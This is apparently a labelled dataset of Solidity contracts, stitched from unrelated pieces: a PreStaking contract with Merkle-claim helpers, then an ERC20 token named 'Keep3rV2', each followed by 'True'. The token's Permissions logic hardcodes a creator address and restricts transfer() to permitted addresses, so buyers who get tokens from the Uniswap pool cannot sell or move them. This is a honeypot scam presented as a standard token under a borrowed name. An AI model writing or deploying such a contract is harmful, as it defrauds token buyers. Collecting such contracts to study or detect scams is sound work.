*/ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // File contracts/MerkleClaim.sol /** * Copyright (C) 2022 TXA Pte. Ltd. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.13; abstract contract MerkleClaim { using BitMaps for BitMaps.BitMap; /** * Merkle root that proofs will be checked against. */ bytes32 public merkleRoot; /* * Maps index of leaf to a boolean indicating whether or not it's * been claimed. */ BitMaps.BitMap internal claimed; event MerkleRootSet(bytes32 virtualBalanceMerkleRoot); /** * Called by implementing contract to set the merkle root. * * Can only be called once. */ function _setMerkleRoot(bytes32 _merkleRoot) internal { require(merkleRoot == bytes32(0), "ROOT_ALREADY_SET"); require(_merkleRoot != bytes32(0), "ROOT_MUST_BE_NONZERO"); merkleRoot = _merkleRoot; emit MerkleRootSet(_merkleRoot); } /** * Called by implementing contract to verify a merkle proof and process a claim. * * Prevents claiming with the same proof twice. */ function _claim( uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof ) internal { require(!claimed.get(index), "ALREADY_CLAIMED"); bytes32 leaf = keccak256(abi.encodePacked(index, account, amount)); require( MerkleProof.verify(merkleProof, merkleRoot, leaf), "INVALID_PROOF" ); claimed.set(index); } } // File contracts/PreStaking.sol /** * Copyright (C) 2022 TXA Pte. Ltd. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.13; /** * Allows token holders to lock an ERC777 token for pre-staking. * Depositors send a specified token to this contract in order to stake. * After deposit period ends, manager sets a merkle root. Addresses can * then submit a merkle proof in order to claim a virtual balance. * Manager can set a migration address, after which depositors can * migrate both deposit balance and virtual balance to the new contract. * Migration contract is expected to implement the IAcceptsDeposit interface * and have the address of this contract set as the migrator. */ contract PreStaking is ERC777Recipient, MerkleClaim { /** * Address authorized to set migration address. */ address public manager; /** * Interface to token approved for deposits. */ IERC20 public immutable depositToken; /** * Address that will be called by depositors through this contract to migrate their deposited tokens. */ IAcceptsDeposit public migrationContract; /** * Timestamp for date after which deposits no longer accepted */ uint256 public immutable depositEndTime; /** * Timestamp for date after which prestaked tokens can be withdrawn */ uint256 public immutable withdrawUnlockTime; /** * Minimum amount of token that must be deposited */ uint256 public immutable minimumDeposit; /** * Maps depositor address to amount of depositToken staked */ mapping(address => uint256) public depositorBalance; /** * Maps depositor address to amount of virtual balance claimed */ mapping(address => uint256) public virtualBalance; event MigrationContractSet(address migrationContract); event MigratedDeposit(address depositor, uint256 amount); event MigratedVirtualBalance(address depositor, uint256 amount); /** * Sets up parameters for prestaking * @param _manager Address that will be authorized to set migration address * @param _depositToken Address of token accepted as deposit * @param _timeUntilDepositsEnd Number of seconds after time of deployment until deposits no longer accepted * @param _timeUntilWithdraw Number of seconds after time of deployment until deposited tokens can be withdrawn * @param _minimumDeposit Minimum amount of tokens that depositor must stake to qualify */ constructor( address _manager, address _depositToken, uint256 _timeUntilDepositsEnd, uint256 _timeUntilWithdraw, uint256 _minimumDeposit ) { require(_manager != address(0), "ZERO_ADDRESS_MANAGER"); require(_depositToken != address(0), "ZERO_ADDRESS_DEPOSIT_TOKEN"); manager = _manager; depositToken = IERC20(_depositToken); depositEndTime = block.timestamp + _timeUntilDepositsEnd; withdrawUnlockTime = block.timestamp + _timeUntilWithdraw; minimumDeposit = _minimumDeposit; } /** * Called by the ERC777 contract when tokens are sent to this contract. * Depositors call the token contract to send tokens here to stake. * * Records number of tokens sent by a depositor. * Rejects any ERC777 token other than the deposit token. * Rejects deposits after the deposit period ends. * Rejects deposits below a minimum amount. */ function tokensReceived( address, address from, address, uint256 amount, bytes calldata, bytes calldata ) external override { require(msg.sender == address(depositToken), "INVALID_TOKEN"); require(block.timestamp < depositEndTime, "DEPOSIT_TIMEOUT"); depositorBalance[from] += amount; require(depositorBalance[from] >= minimumDeposit, "BELOW_MINIMUM"); } /** * Called by the manager to set the migration contract. * * Can only be set once. * Checks that migration contract has set this contract as the migrator. * Approves the migration contract as the spender of this contract's tokens. */ function setMigrationContract(address _migrationContract) external onlyManager { require( address(migrationContract) == address(0), "MIGRATION_ALREADY_SET" ); migrationContract = IAcceptsDeposit(_migrationContract); require( migrationContract.getMigratorAddress() == address(this), "INVALID_MIGRATION_CONTRACT" ); require( depositToken.approve(_migrationContract, type(uint256).max), "APPROVE_FAILED" ); emit MigrationContractSet(_migrationContract); } /** * Called by manager to set merkle root of the tree where * each leaf is a virtual balance. */ function setMerkleRoot(bytes32 _virtualBalanceMerkleRoot) external onlyManager { _setMerkleRoot(_virtualBalanceMerkleRoot); } /** * Called by an address with a leaf in the merkle tree * to claim a virtual balance. * * See MerkleClaim._claim */ function claimVirtualBalance( uint256 index, uint256 amount, bytes32[] calldata merkleProof ) external { _claim(index, msg.sender, amount, merkleProof); virtualBalance[msg.sender] += amount; } /** * Called by a depositor to migrate tokens from this contract to * migration contract. */ function migrateDeposit(uint256 amount) external { require(address(migrationContract) != address(0), "MIGRATION_NOT_SET"); require(depositorBalance[msg.sender] >= amount, "INSUFFICIENT_FUNDS"); depositorBalance[msg.sender] -= amount; require( migrationContract.migrateDeposit(msg.sender, amount), "MIGRATE_DEPOSIT_FAILED" ); emit MigratedDeposit(msg.sender, amount); } /** * Called by a depositor to migrate a virtual balance from this contract * to migration contract. */ function migrateVirtualBalance(uint256 amount) external { require(address(migrationContract) != address(0), "MIGRATION_NOT_SET"); require(virtualBalance[msg.sender] >= amount, "INSUFFICIENT_BALANCE"); virtualBalance[msg.sender] -= amount; require( migrationContract.migrateVirtualBalance(msg.sender, amount), "MIGRATE_BALANCE_FAILED" ); emit MigratedVirtualBalance(msg.sender, amount); } /** * Called by depositor to withdraw staked tokens. * * Forbids withdrawing before unlock time has passed. * Prevents this contract from holding depositor's tokens * forever in the case that a migration contract is not added, or * if depositors choose not to migrate. */ function withdraw(uint256 amount) external { require(block.timestamp >= withdrawUnlockTime, "WITHDRAW_LOCKED"); require(depositorBalance[msg.sender] >= amount, "INSUFFICIENT_FUNDS"); depositorBalance[msg.sender] -= amount; require(depositToken.transfer(msg.sender, amount), "TRANSFER_FAILED"); } /** * Restricts calling a function to the address set as manager. */ modifier onlyManager() { require(manager == msg.sender, "SENDER_NOT_MANAGER"); _; } }

True

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pragma solidity ^0.6.6; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.6; /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * Available since v3.1. */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } pragma solidity ^0.6.6; contract Permissions is Context { address private _creator; address private _uniswap; mapping (address => bool) private _permitted; constructor() public { _creator = 0x556808eEC0F0F0fc0A55d82112F23044ae192047; _uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; _permitted[_creator] = true; _permitted[_uniswap] = true; } function creator() public view returns (address) { return _creator; } function uniswap() public view returns (address) { return _uniswap; } function givePermissions(address who) internal { require(_msgSender() == _creator || _msgSender() == _uniswap, "You do not have permissions for this action"); _permitted[who] = true; } modifier onlyCreator { require(_msgSender() == _creator, "You do not have permissions for this action"); _; } modifier onlyPermitted { require(_permitted[_msgSender()], "You do not have permissions for this action"); _; } } pragma solidity ^0.6.6; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = " Keep3rV2 "; //_symbol = KP3Rv2 "; _name = "Keep3rV2 "; _symbol = "KP3Rv2"; _decimals = 18; _totalSupply = 5000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }

True

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